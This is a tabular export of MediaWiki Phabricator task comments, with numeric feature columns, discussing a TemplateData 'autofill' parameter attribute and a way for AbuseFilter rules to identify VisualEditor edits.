With autofill you most probably want a dynamic value (e.g. the result of invoking a template, or magic words like current date/times, current revision user, base page name etc. Some of these (like date) could be trivially done, but that still leaves a lot of questions (how to specify the date etc.) and compatibility.

So I'd say let's solve bug 65550 first and see how that unfolds. If we still feel a need for this we can revisit it later.

This should additionally be helpful since subst-ing is that wikis do now without VisualEditor so they likely have that in place already and will want to keep that for wikitext users."
247661,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","I almost submitted a new bug, but saw this one in the ""possible duplicates"" at the last second... Pasting the text I wrote, in case it helps:


Most cleanup templates, banner and inline, have a ""|date={{CURRENTMONTHNAME}} {{CURRENTYEAR}}"" parameter.

If we don't add them, then (on En.Wiki) AnomieBot adds them a few minutes later*, which clutters the history, and more importantly Buries the initial edit in watchlists, making it harder for us humans to check.

*eg. https://en.wikipedia.org/w/index.php?title=Red_squirrel&curid=638291&diff=572563931&oldid=572553559


Could we have an ""Add current month and year"" button, for parameters like this?

Or, a tweak for TemplateData so that specific templates will add this parameter/value by default?",,,1378952753,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,10,,0.5,0.0,0.0,0.0,0.5,5.5,0.0,0.0,0.0,0.5,1.5,0.5,0.0,0.5,0.0,3.0,0.0,3.5,8.5,0.0,0.5,0.0,0.5,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,2.5,1.0,1.0,3.5,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,16.5,0.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,0.0,8.5,2.0,3.0,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,5.0,8.5,4.0,1.5,3.5,0.0,5.0,0.0,0.5,3.0,1.5,1.0,1.5,0.5,0.0,3.7364864864864864,0.777027027027027,"I almost submitted a new bug, but saw this one in the ""possible duplicates"" at the last second... Pasting the text I wrote, in case it helps:


Most cleanup templates, banner and inline, have a ""|date={{CURRENTMONTHNAME}} {{CURRENTYEAR}}"" parameter.

If we don't add them, then (on En.Wiki) AnomieBot adds them a few minutes later*, which clutters the history, and more importantly Buries the initial edit in watchlists, making it harder for us humans to check.

*eg. URL


Could we have an ""Add current month and year"" button, for parameters like this?

Or, a tweak for TemplateData so that specific templates will add this parameter/value by default?"
247657,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","From Bug 52028:
TemplateData should allow some parameters to have default values which are
prefilled when using the VisualEditor transclusion manager. 

An example would be the current date for accessdate in citation templates.",,,1375183561,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,4,,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,13.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,5.051282051282051,0.9230769230769231,"From Bug 52028:
TemplateData should allow some parameters to have default values which are
prefilled when using the VisualEditor transclusion manager. 

An example would be the current date for accessdate in citation templates."
247652,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified",*** Bug 52028 has been marked as a duplicate of this bug. ***,,,1375183466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52028 has been marked as a duplicate of this bug. ***
247646,"TemplateData: Add an ""autofill"" attribute for parameters which clients would automatically insert if none specified","This seems like a nice improvement, though I worry that it sets up an expectation that a client may not honour.",,,1374507813,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-t4nrv75pjo2r4cxn47di,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,13.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,22.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.9130434782608695,"This seems like a nice improvement, though I worry that it sets up an expectation that a client may not honour."
53421,VisualEditor: Allow AbuseFilter rules to identify VE edits,"I would like to request that some flag or other indicator be added such that abuse filter rules can tell whether the edit is coming from VE or from the source editor.

Because the abuse filter tends to encourage different sorts of editor errors, it would be useful to know which interface is being used when editing.  For example, a nowiki tag added by the source editor is almost certainly intentional, while a nowiki added by VE is probably an accident and should be tagged for inspection.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T54281}",Medium,50.0,1373945100,,PHID-USER-fuj45iylbizjg3yhehjt,False,,False,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_description,open,True,c1,3,False,False,,2,,0.5,0.0,0.0,2.5,0.0,4.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,3.5,8.5,0.0,1.5,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,3.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.5,12.5,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,5.0,7.0,3.5,2.0,5.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,8.5,2.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,1.0,0.0,0.0,0.0,4.038658474142345,0.7114695340501792,"I would like to request that some flag or other indicator be added such that abuse filter rules can tell whether the edit is coming from VE or from the source editor.

Because the abuse filter tends to encourage different sorts of editor errors, it would be useful to know which interface is being used when editing.  For example, a nowiki tag added by the source editor is almost certainly intentional, while a nowiki added by VE is probably an accident and should be tagged for inspection.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
{T54281}"
1607402,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Change 456418 **abandoned** by Daimona Eaytoy:
[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter

Reason:


https://gerrit.wikimedia.org/r/456418",,,1603885261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,382,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,6.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.78125,0.78125,"Change 456418 **abandoned** by Daimona Eaytoy:
[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter

Reason:


GERRIT_URL"
1133086,VisualEditor: Allow AbuseFilter rules to identify VE edits,"@matmarex That hurts :/ Adding a parameter would be surely working, but also highly specifical code which shouldn’t be the first choice; unless other parts of the code throughout MediaWiki will need to know if the current edit comes from VE. Before giving up, is there something else in the global scope which could help us?",,,1535697999,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0.0,2.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,8.0,15.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,10.0,3.0,2.0,11.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,15.0,3.0,2.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,5.0,0.0,0.0,0.0,4.370967741935484,0.8870967741935484,"SCREEN_NAME That hurts :/ Adding a parameter would be surely working, but also highly specifical code which shouldn’t be the first choice; unless other parts of the code throughout MediaWiki will need to know if the current edit comes from VE. Before giving up, is there something else in the global scope which could help us?"
1132919,VisualEditor: Allow AbuseFilter rules to identify VE edits,">>! In T53421#4546351, @Daimona wrote:
> Is there something in the request which can uniquely identify VE edits? Sorry for asking, but I cannot set up Parsoid on my wiki and thus can't test VE.

Not really. VE just calls the action=edit API internally (from PHP code), see ApiVisualEditorEdit::saveWikitext(). However, maybe you can add some magic parameter there and handle it on the other end in the AbuseFilter hook handler. I am not sure how it all works on the inside, you might need to experiment a bit :/",,,1535663319,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,269,,3.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,4.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,14.0,1.0,1.0,10.0,0.0,1.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.8142857142857143,"QUOTE
QUOTE

Not really. VE just calls the action=edit API internally (from PHP code), see ApiVisualEditorEdit::saveWikitext(). However, maybe you can add some magic parameter there and handle it on the other end in the AbuseFilter hook handler. I am not sure how it all works on the inside, you might need to experiment a bit :/"
1132795,VisualEditor: Allow AbuseFilter rules to identify VE edits,"To complete the patch, I need a way to determine whether the edit being saved comes from VE or not (yep, the main part). The main thing we have access to is the current WebRequest. Is there something in the request which can uniquely identify VE edits? Sorry for asking, but I cannot set up Parsoid on my wiki and thus can't test VE.",,,1535650055,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0.0,1.0,0.0,1.0,4.0,4.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,5.0,0.0,7.0,12.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,9.0,4.0,15.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,5.0,12.0,7.0,1.0,0.0,0.0,5.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6,0.8,"To complete the patch, I need a way to determine whether the edit being saved comes from VE or not (yep, the main part). The main thing we have access to is the current WebRequest. Is there something in the request which can uniquely identify VE edits? Sorry for asking, but I cannot set up Parsoid on my wiki and thus can't test VE."
1132766,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Change 456418 had a related patch set uploaded (by Daimona Eaytoy; owner: Daimona Eaytoy):
[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter

[[https://gerrit.wikimedia.org/r/456418]]",,,1535648306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,25.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,5.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,15.0,4.575,0.775,"Change 456418 had a related patch set uploaded (by Daimona Eaytoy; owner: Daimona Eaytoy):
[mediawiki/extensions/VisualEditor@master] [WIP] Add user_visualeditor variable for AbuseFilter

[[GERRIT_URL]]"
1132618,VisualEditor: Allow AbuseFilter rules to identify VE edits,"I'm sorry, I may have missed something, but... wouldn't it be much easier to generate a dedicated AF variable inside VisualEditor using AF hooks? This would avoid messing up with change tags and request params, and it's also the way used to distinguish edits coming from e.g. mobile app or mobile version.",,,1535636345,,PHID-USER-hvywcttgalazbjxfl3tq,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,269,,2.0,2.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,3.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,10.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,7.0,10.0,5.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,4.163934426229508,0.8524590163934426,"I'm sorry, I may have missed something, but... wouldn't it be much easier to generate a dedicated AF variable inside VisualEditor using AF hooks? This would avoid messing up with change tags and request params, and it's also the way used to distinguish edits coming from e.g. mobile app or mobile version."
788500,VisualEditor: Allow AbuseFilter rules to identify VE edits,">>! In T53421#2905524, @jhsoby wrote:
> Now with the 2017 wikitext editor I think this should get a priority bump, seeing that it too uses ?veaction instead of ?action, which makes it impossible (AFAIK) to use edit filters to identify those edits.

The action URL path is a poor guide to the source of edits (see the Special:Edit or whatever it's called tool, the mobile Web wikitext and visual editors, and other mechanisms). Anyone trying to capture edits by use of the URL path is going to fail pretty terribly.

I also don't agree that this is a particular priority. People have been editing using different tools for years without the software allowing discriminatory edit validation.",,,1483735245,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,183,,0.0,1.0,0.0,0.0,1.0,7.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,24.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,12.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,5.0,0.0,0.0,0.0,4.186813186813187,0.7802197802197802,"QUOTE
QUOTE

The action URL path is a poor guide to the source of edits (see the Special:Edit or whatever it's called tool, the mobile Web wikitext and visual editors, and other mechanisms). Anyone trying to capture edits by use of the URL path is going to fail pretty terribly.

I also don't agree that this is a particular priority. People have been editing using different tools for years without the software allowing discriminatory edit validation."
784647,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Now with the 2017 wikitext editor I think this should get a priority bump, seeing that it too uses ?veaction instead of ?action, which makes it impossible (AFAIK) to use edit filters to identify those edits.",,,1482964388,,PHID-USER-jqjb54lbf7psat6shbcc,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,182,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,12.0,2.0,5.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.9069767441860465,"Now with the 2017 wikitext editor I think this should get a priority bump, seeing that it too uses ?veaction instead of ?action, which makes it impossible (AFAIK) to use edit filters to identify those edits."
247245,VisualEditor: Allow AbuseFilter rules to identify VE edits,"(In reply to comment #10)
> The original request was merely for the AbuseFilter to somehow be made aware
> whether or not an edit had come from VE as opposed to source editing.  
> 
> For example, the Abuse Filter is aware of ""action="" but not ""veaction="".  At
> present ""action=edit"" and ""veaction=edit"" look identical to the AbuseFilter.

Adjusting comment accordingly.

> I think the suggestion that AbuseFilter should somehow be allowed process
> tags generated by other entities is actually an unnecessary (and more
> complicated) diversion.

Sure.",,,1375214945,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.34375,0.46875,"(In reply to comment #10)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Adjusting comment accordingly.

QUOTE
QUOTE
QUOTE

Sure."
247240,VisualEditor: Allow AbuseFilter rules to identify VE edits,"The original request was merely for the AbuseFilter to somehow be made aware whether or not an edit had come from VE as opposed to source editing.  

For example, the Abuse Filter is aware of ""action="" but not ""veaction="".  At present ""action=edit"" and ""veaction=edit"" look identical to the AbuseFilter.

I think the suggestion that AbuseFilter should somehow be allowed process tags generated by other entities is actually an unnecessary (and more complicated) diversion.",,,1375206737,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,2.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,7.0,13.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,12.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,7.0,5.0,11.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,13.0,6.0,0.0,8.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,4.221052631578948,0.7157894736842105,"The original request was merely for the AbuseFilter to somehow be made aware whether or not an edit had come from VE as opposed to source editing.  

For example, the Abuse Filter is aware of ""action="" but not ""veaction="".  At present ""action=edit"" and ""veaction=edit"" look identical to the AbuseFilter.

I think the suggestion that AbuseFilter should somehow be allowed process tags generated by other entities is actually an unnecessary (and more complicated) diversion."
247235,VisualEditor: Allow AbuseFilter rules to identify VE edits,"s/invisible to VE/invisible to AF/. I swear, I did proofread that. :)",,,1375206441,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.7777777777777778,"s/invisible to VE/invisible to AF/. I swear, I did proofread that. :)"
247230,VisualEditor: Allow AbuseFilter rules to identify VE edits,"s/attempts/happens/, of course.",,,1375206175,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.8888888888888888,"s/attempts/happens/, of course."
247225,VisualEditor: Allow AbuseFilter rules to identify VE edits,"AF's hook attempts *during* save, in EditPage#runPostMergeFilters and ApiEditPage#execute (the second one is only used to present nicer information about saving failure in the API and is what VE is actually hitting, but that doesn't matter here).

VisualEditor's ApiVisualEditorEdit calls the edit API first (#saveWikitext) and only after it has succeeded calls ChangeTags::addTags to add the tags to the edit.

So to make this work, we'd have to adjust code in core, in AbuseFilter and in VE to allow passing change tags with the edit API call or in some magical way before it. It'd make the logic really awkward (since tags could now be added before/during and after making the edit, and the second kind would be invisible to VE) and likely introduce back-compat issues (for the same reason).

There are also requests to make the tags editable by users (bug 18670), which generally seems like a pretty good idea, but complicates the issue here even further.

So to summarize, I don't see this happening, but feel free to prove me wrong if you think you can tackle this :)",,,1375206102,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,4.333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,7.333333333333333,10.333333333333334,0.0,3.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,1.0,0.0,5.333333333333333,2.3333333333333335,1.0,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,12.666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,4.666666666666667,2.0,6.333333333333333,0.6666666666666666,4.0,7.0,0.0,0.3333333333333333,0.0,0.3333333333333333,6.0,0.0,0.3333333333333333,0.0,3.0,10.333333333333334,2.6666666666666665,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,4.04054054054054,0.7477477477477478,"AF's hook attempts *during* save, in EditPage#runPostMergeFilters and ApiEditPage#execute (the second one is only used to present nicer information about saving failure in the API and is what VE is actually hitting, but that doesn't matter here).

VisualEditor's ApiVisualEditorEdit calls the edit API first (#saveWikitext) and only after it has succeeded calls ChangeTags::addTags to add the tags to the edit.

So to make this work, we'd have to adjust code in core, in AbuseFilter and in VE to allow passing change tags with the edit API call or in some magical way before it. It'd make the logic really awkward (since tags could now be added before/during and after making the edit, and the second kind would be invisible to VE) and likely introduce back-compat issues (for the same reason).

There are also requests to make the tags editable by users (bug 18670), which generally seems like a pretty good idea, but complicates the issue here even further.

So to summarize, I don't see this happening, but feel free to prove me wrong if you think you can tackle this :)"
247220,VisualEditor: Allow AbuseFilter rules to identify VE edits,"(In reply to comment #5)
> I'm pretty sure it's impossible to do this since any kind of tags can be only
> added after an edit is saved (ChangeTags::addTags() function requires the
> edit to have a know rev_id which implies that it already exists in the
> database).

Does AF's hook happen after VE's save (which applies tags), at least?",,,1375203722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,11.0,14.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,2.9714285714285715,0.7428571428571429,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

Does AF's hook happen after VE's save (which applies tags), at least?"
